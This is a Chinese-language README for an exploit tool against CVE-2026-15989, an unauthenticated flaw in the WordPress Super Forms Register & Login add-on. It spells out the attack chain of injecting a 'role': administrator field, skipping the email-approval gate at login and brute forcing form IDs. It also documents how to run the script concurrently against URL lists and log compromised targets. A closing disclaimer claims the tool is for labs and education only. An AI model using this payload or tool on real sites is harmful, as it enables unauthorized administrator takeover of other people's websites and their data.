█████╗ ███╗ ██╗ ████████╗ ██╗ ██████╗ ██████╗ ██████╗ ████████╗
██╔══██╗ ████╗ ██║ ╚══██╔══╝ ██║ ██╔══██╗ ██╔═████╗ ██╔═████╗ ╚══██╔══╝
███████║ ██╔██╗ ██║ ██║ ██║ ██║ ██║ ██║██╔██║ ██║██╔██║ ██║
██╔══██║ ██║╚██╗██║ ██║ ██║ ██║ ██║ ████╔╝██║ ████╔╝██║ ██║
██║ ██║ ██║ ╚████║ ██║ ██║ ██████╔╝ ╚██████╔╝ ╚██████╔╝ ██║
╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝
» E X P L O I T S «
🔥 无指纹自动发现 · 验证感知载荷 · 零认证 · 诚实分类
| WordPress 插件 | Super Forms – 拖拽式表单构建器(注册与登录附加组件) |
| 受影响版本 | <= 6.3.316 |
| 修复版本 | 6.3.317 |
| 认证 | ❌ 无需认证 — 任意已发布的注册表单即可 |
| CVSS | 9.8 CRITICAL |
role 键 → 管理员账户创建GET admin-ajax.php?action=super_create_nonce ──► _sfs_id session + sf_nonce
│
POST admin-ajax.php action=super_submit_form data=<JSON>
│
before_email_success_msg() (Register & Login add-on)
│
$other_userdata = array( ..., 'role', ... ) ◄── client key whitelisted
│
$data['role']['value'] ──► $userdata['role'] (register_user_role overwritten)
│
wp_insert_user() ──► 🔥 administrator account, zero authentication
该附加组件将
$data['role']['value']直接复制到用户数据数组中, 未对照管理员配置的register_user_role进行验证, 没有允许列表,也没有任何权限检查 — 只需注入一个"role": {"value":"administrator"}字段即可得手。
POST wp-login.php log / pwd / testcookie
│ + action=super_submit_form ◄── the magic field
│
check_user_login_status() ──► pending/blocked gate SKIPPED
│
GET /wp-admin/users.php
│
200 = administrator proven · 403 = subscriber (patched build)
该附加组件仅在 POST action 不是
super_submit_form时才强制执行其 邮件激活 / 审核门禁 — 因此注册用户的同一个表单 action 也解锁了 登录该用户的能力,甚至在任何邮件验证之前。
discovery empty (REST · sitemap · links · ?page_id probe)
│
PHASE 1 — form-ID sweep 1..50, minimal payload, OWN SESSION PER ID
│ (shared sessions would invalidate each nonce)
│
'required fields' reject ──► PHASE 2 — REST markup fetch ──► full payload retry
│
every accepted candidate ──► login proof per id
│
contact form? ──► UNVERIFIED (never a false positive)
registration? ──► 👑 verified administrator
非注册表单也会返回
error:false,因此每个被接受的 ID 在凭据通过 真实登录验证之前都只是一个候选。
# zero dependencies — pure Python 3 stdlib (rich is optional, for the console)
python3 cve-2026-15989_poc.py --list labs.txt --output results.txt
# tuned concurrency / timeout
python3 cve-2026-15989_poc.py --list labs.txt --threads 20 --timeout 15 -o results.txt
# FULL MODE: discovery + role injection + login proof + form-ID brute (1..50)
python3 cve-2026-15989_poc.py --list labs.txt --full --output results.txt
labs.txt — 每行一个基础 URL:
http://localhost
http://192.168.56.101/lab-wp
https://10.0.0.5:8443/lab # self-signed TLS is handled automatically
# comments and blank lines are ignored
| 选项 | 描述 |
|---|---|
--list FILE | 目标文件 — 每行一个 URL(必填) |
--output, -o FILE | 命中列表 — 仅写入 VULNERABLE 目标,实时写入(无 ANSI 转义) |
--threads N | 并发目标工作线程数(默认 10) |
--timeout N | 每请求套接字超时秒数(默认 10) |
--full | 运行完整攻击链 — 增加表单 ID 爆破回退(在存在漏洞的目标上将会创建账户) |
| 状态 | 含义 |
|---|---|
VULNERABLE | 账户已创建且已验证 wp-admin 管理员访问权限(200) |
NOT-VULNERABLE | 登录成功但管理页面返回 403 — 角色被忽略 → 已修复版本 |
UNVERIFIED | 提交被接受但登录被拒绝(账户被锁定/待审核或非注册表单)— 绝不作为静默误报上报 |
BLOCKED | 提交被拒绝(reCAPTCHA、CSRF、必填字段、蜜罐……) |
ERROR | 目标不可达 / DNS 失败 — 附带确切原因上报 |
wp-json + ?rest_route= 回退)→ sitemap 索引 → 40+ 多语言注册路径(/register、/kayit-ol、/registrieren……)→ ?page_id=N 探测;适用于任何主题、页面构建器和固定链接风格data-validation 类型(email、number、date、time、phone、IBAN、color、URL)super_create_nonce 绑定到 _sfs_id 会话;爆破尝试各自拥有独立会话,因此 nonce 之间永不互相失效VULNERABLE;已修复版本通过 403 探测区分;锁定账户显示为 UNVERIFIEDaction=super_submit_form,跳过附加组件的邮件验证 / 审核门禁{{ data.url }})、控制字符和 IDN/土耳其语 slug 主机名自动清理--output 仅记录已确认的目标,实时追加,始终为纯文本(便于 grep/解析)rich 时优雅降级为纯文本rich 为可选装饰)<= 6.3.316,且注册与登录附加组件已激活,并至少有一个
已发布的表单(STANDARD)— FULL 模式完全不需要可发现的表单pip install新漏洞利用、PoC 和安全研究发布。
本工具仅供教育和研究目的提供。它演示了一个公开记录的漏洞 (CVE-2026-15989),以便研究人员和管理员验证自己的实验环境。
使用本工具即表示您对自己的行为承担全部责任。
横幅:ANTID00T · ANSI Shadow 字体